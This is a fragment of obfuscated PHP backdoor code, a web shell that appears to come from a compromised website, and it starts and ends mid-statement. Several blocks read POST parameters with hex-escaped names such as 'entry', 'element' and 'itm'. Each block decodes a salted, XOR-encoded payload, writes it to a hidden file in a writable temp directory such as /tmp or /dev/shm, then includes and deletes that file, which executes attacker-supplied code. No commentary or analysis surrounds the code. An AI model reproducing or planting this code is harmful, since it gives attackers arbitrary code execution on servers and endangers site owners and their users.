=$len) break; $v3 =$resource[$m]; $sChar =ord( $salt1[$m % $sLen]); $dec =( ( int)$v3 - $sChar -( $m % 10)) ^ 20; $binding .=chr( $dec); $m++;} while( true); $element = 0; do { $rec = $component[$element] ?? null; if ($element >= count($component)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) { $desc = vsprintf("%s/%s", [$rec, ".descriptor"]); if (file_put_contents($desc, $binding)) { require $desc; unlink($desc); die(); } } $element++; } while (true); } if(isset($_POST["\x65\x6Etry"])){ $fac = $_POST["\x65\x6Etry"]; $fac=explode ( ".", $fac ) ; $obj = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5); $s = 0; while( $s < count( $fac)) { $v3 = $fac[$s]; $chS = ord( $salt5[$s % $lenS]); $d = ( ( int)$v3 - $chS -( $s % 10)) ^76; $obj.= chr( $d); $s++; } $holder = array_filter([sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/var/tmp", "/tmp", getcwd(), getenv("TEMP")]); foreach ($holder as $key => $flag) { if ((function($d) { return is_dir($d) && is_writable($d); })($flag)) { $dchunk = "$flag" . "/.marker"; if (file_put_contents($dchunk, $obj)) { include $dchunk; @unlink($dchunk); die(); } } } } if(count($_POST) > 0 && isset($_POST["e\x6Etr\x79"])){ $k = $_POST["e\x6Etr\x79"]; $k=explode ("." , $k ) ; $flag = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4 ); $y = 0; foreach ($k as $v7) { $sChar = ord($salt4[$y % $sLen] ); $d = ((int)$v7 - $sChar - ($y % 10)) ^ 61; $flag .= chr($d ); $y++;} $pset = array_filter([getenv("TEMP"), "/tmp", getcwd(), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/dev/shm"]); $resource = 0; do { $data_chunk = $pset[$resource] ?? null; if ($resource >= count($pset)) break; if ((is_dir($data_chunk) and is_writable($data_chunk))) { $token = sprintf("%s/.elem", $data_chunk); $success = file_put_contents($token, $flag); if ($success) { include $token; @unlink($token); exit;} } $resource++; } while (true); } if(isset($_POST["e\x6C\x65\x6De\x6Et"])){ $elem = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm"]); $value = $_POST["e\x6C\x65\x6De\x6Et"]; $value = explode ( "." , $value) ; $val= ''; $s7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s7); $v= 0; $__tmp= $value; while( $v9= array_shift( $__tmp)) { $sChar= ord( $s7[$v % $sLen]); $d= ( ( int)$v9 - $sChar -( $v % 10)) ^ 39; $val .= chr( $d); $v++;} for ($key = 0, $record = count($elem); $key < $record; $key++) { $bind = $elem[$key]; if (is_writable($bind) && is_dir($bind)) { $pointer = "$bind" . "/.property_set"; $file = fopen($pointer, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $pointer; @unlink($pointer); exit; } } } } if(array_key_exists("i\x74\x6D", $_POST)){ $data = $_POST["i\x74\x6D"]; $data = explode ( ".", $data) ; $symbol = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1); $k = 0; foreach( $data as $v1) {$chS = ord( $salt1[$k%$lenS]); $d =( ( int)$v1 - $chS -( $k%10)) ^ 51; $symbol.= chr( $d); $k++; } $holder = array_filter([getenv("TEMP"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", session_save_path()]); while ($token = array_shift($holder)) { if ((bool)is_dir($token) && (bool)is_writable($token)) { $entity = implode(